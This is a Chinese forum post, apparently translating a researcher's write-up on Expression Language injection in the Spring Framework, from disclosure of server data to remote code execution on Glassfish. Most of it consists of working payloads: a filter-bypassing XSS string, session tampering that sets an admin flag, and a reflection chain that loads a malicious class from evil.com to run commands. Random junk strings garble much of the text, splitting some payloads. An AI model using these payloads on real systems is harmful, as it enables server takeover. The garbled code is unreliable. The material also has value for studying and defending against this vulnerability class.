找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2794|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
, R2 e- t% r$ x/ h. oExpression Language Injection
, p" R' a# W7 G- Y' o3 c- \6 ?Spring Framework脆弱性—DanAmodio
( {2 _( x# }  G全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中- }% S# F( p9 |9 p  i
可能会存在风险。
5 T6 ]' ~% F3 g. n$ R; |, X) P在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
4 f9 w7 Y, G' x! {1 A$ ^Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
: [( N1 @, y9 Q! b; C- a/ o; c. N以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
: A! p' ~" |5 e; T- E以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前4 V% ]( Z/ X# G; V( t$ ~0 }9 f
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。, x. X* h0 F+ J5 m1 K% k
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但- ?9 Q4 s& F: ~& d' E
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
! ?& g2 l( z; {' v0 i7 Z7 h本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
7 [4 {) L5 ^+ U+ n这些版本不支持禁用double EL resolution.
3 u# q5 g3 |6 P4 M7 d这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含) {. H9 `) Q$ T& g6 N/ [. K
EL2.2容器上可能进行远程代码执行。
1 V, C" i: p' u# ~3 G这是一个原始信息泄露的攻击例子:
+ V9 ?8 V- X8 L" J4 m! N% G4 ~& \6 q请求:
! y4 v8 H" \6 O) ]7 ]6 q) K, ittp://vulnerable.com/foo?message=${applicationScope}7 P$ _7 V/ I9 E/ {# k% X. n6 d
到达以下内容页面:
7 e4 N  O6 g6 c& o0 B- L1 r/ x结果将输出一些包含内部服务器信息calsspath 和本地工作目录! p# e, j% G. z& l' P( s) l
你也可以做一些其他事情,如这样:
0 ^9 G, g. s# h& d2 b6 }${9999+1}
& o" a+ x3 j  d还可以访问session 对象和beans3 b; V4 n2 F0 {- O/ e
${employee.lastName}7 X) i) [- Q+ @0 [0 Q9 G$ o; E  o4 G
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是; Q7 d% f- h4 H. D) u1 I8 b
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东) ^6 k: d8 I: R- n) _
西,比如XSS.
+ o) E0 [- u( _% t& f哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
- Q* b% T) D! `/ y& W/ t突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
' L6 u" @2 P) h7 y* ]1 j+ n呢?”
5 i6 q! o! x$ v$ r因此,我尝试巳缦拢�5 @* S& O$ ]+ q, g
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP7 y% b9 ?8 [" g
P/ C8 e# }1 P8 v/ X/ ^' ?" ^
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
" d+ r3 k6 a& O5 c, M  e回的文本被插入进了spring:message 标签。
5 F4 h6 E: w( t% {' z5 Y这里是一个最终绕过过滤的实例:
% l; m$ |' [: h$ u; xhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
) Z' K; I! S( w( n; a0 J% i1 N它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
( t$ |8 g& S  z1 N什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?+ V! I4 _) H1 N8 I$ B9 x5 I0 ]* \* H) t
经过一番研究,我学习到EL2.2 增加了方法调用。2 H0 h; q' |6 R  v+ P
我写了一个快速测试应用程序代码并且检测一些功能
' u5 ^. s) B! b: Z- \${pageContext.request.getSession().setAttribute(“account”,”123456″)}' T3 q8 I, o1 v9 S
${pageContext.request.getSession().setAttribute(“admin”,true)}$ G1 V6 j7 d$ j4 y$ M( a
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的# }+ r. g/ _0 G# }, u5 T/ L
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?+ D' q) w  f8 R0 e, k/ A; Q. G
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
5 i+ q- V( @6 C) ^: S“, 1234)}- P5 W8 }  F$ h/ N; I
${“”.getClass().forName(“java.lang.Runtime”)}  H9 e% v% O' G- j5 m' A
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不4 G0 [1 b" ?0 N
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
, Y) i* i4 r, s  k数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有9 O0 ?* R5 K$ d6 O
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于, z' k) ^* s: \
方法签名invoke(Object obj, Object„ args)9 `) J9 O  {/ ]# O6 s, L4 z
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
9 |  E& X5 O9 }8 d7 `题,以让它可以工作起来。
3 p1 M, A3 ]- ~/ w漏洞利用:: b/ e4 f' v. l5 x& ^
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我- l$ z8 Z5 K. p. A, N. c
希望你们中的一些JAVA奇才告诉我我是如此的可笑。* p7 {& \$ @0 S
这里有一些我试过的失败的用例,为了试图让它工作的用例:0 y( _2 ~) B9 `7 r; V: t: H) V
 写文件到文件系统
* P7 ?6 e- E0 e9 o+ Q+ b 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.+ R& z2 M5 {2 _- k
我认为这些可以很好的工作,但是我不能找到合适的类来载入。* U1 @7 J" I8 k6 I/ I. X& @- F
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
5 Z4 W2 X+ j8 ^5 P0 S8 Z$ W/ gjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
/ n% c  R# M5 o# x8 n: K( Xorg.springframework.expression.spel.standard.SpelExpressionParser not found% C  k, u& m' |7 v
by
. \' m' p( L5 t0 i. [9 Xorg.glassfish.web.javax.servlet.jsp [194].8 c" d3 M/ r6 y: r5 B0 k1 ]
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
4 Z  k0 H( V' {3 S" o6 Y8 p6 k$ e 利用反射来创建一个新的Runtime(and watch the world burn)# ~8 G+ |8 q% J1 F2 b1 G
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName2 ^+ o$ R0 J! _6 }+ w" r
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}3 _9 G% R4 I, d3 v. `
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
; `3 z9 w) p( h) Q 使用java.lang.ProcessBuilder
' m& `5 j7 E; `( n( i 用表达式语言来评估表达式语言
; E' M) r' F& m7 m. fExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
8 G$ F, _( v% A& a7 o6 C${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
/ w; j8 E% _) F1 L1 G“,”".getClass(),null)}+ J( r  u3 d2 D2 S- C5 V0 N
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)+ O4 K8 ]* P' Q1 g; y, Y7 ~5 U
我在使用一个空数组通过Method.invoke()时失败了很多次% v. A/ l. {+ i6 x) U
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
# b& I  S& c* Y6 O& {/ y: N9 Y.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
5 B+ t$ S+ ~9 {8 m" ^+ E4 F8 O3 FrrayList”).newInstance().toArray())$ d4 _- {3 b  j' J  {3 ~
java.lang.IllegalArgumentException: wrong number of arguments+ k  m& [+ Z5 U$ L! s
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
( i6 J. n* G8 o) E' ~7 Q) G1 Z以创建一个恶意class文件并且指向类装载器.
+ n" ]6 o( X! C& O8 P- D6 n我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:- R6 |, W( ^9 P; s
public class Malicious {* Z* A. r3 |$ c& b- `
public Malicious() {
9 G: V1 d# p* @4 Stry {8 C& k: O: n% S& k* t/ W+ d2 {
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac* \! w6 M- V% b0 u
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win7 f6 h: o: z2 n# T4 z" f
} catch (Exception e) {2 K- j* P; n7 e4 G& d+ `
}
) T) m) h# O. Y: P( s5 w}
5 S- `+ K! `2 M- q- Z4 e. h我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回& ~/ Z  ~: G7 t5 L2 K: G5 J
话中,因此它可以被使用.6 L0 _) G: C6 f% _2 f+ M2 ^
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
! E* D+ W; ~  l! ]& L. {9 W(“java.util.ArrayList”).newInstance())}. g- \. m8 `# o& G
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建& E, X2 Y) M& Z& d* ?) Y
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
! V" _) G  m8 P5 mgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
. J5 F! b# Y2 j; h+ n我们可以调用的create(string)方法,然后转换对一个URL对象。
: \) y( \' V- j# s${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
, K0 `. E) z3 X: T8 Aere/malicious/classfile/is/located/”).toURL())}
; d( q  D8 N5 |# l. g然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
- U9 L" R) Z8 Q$ i恶意类文件被装载并创建,触发远程代码./ V4 x* R1 r6 N8 E; g
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte% n* E. W4 R. Q# s7 I) m- S, h7 N
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().. S9 p  s! z0 d( d3 C
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance# _: K9 C3 ^7 [3 T" N
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表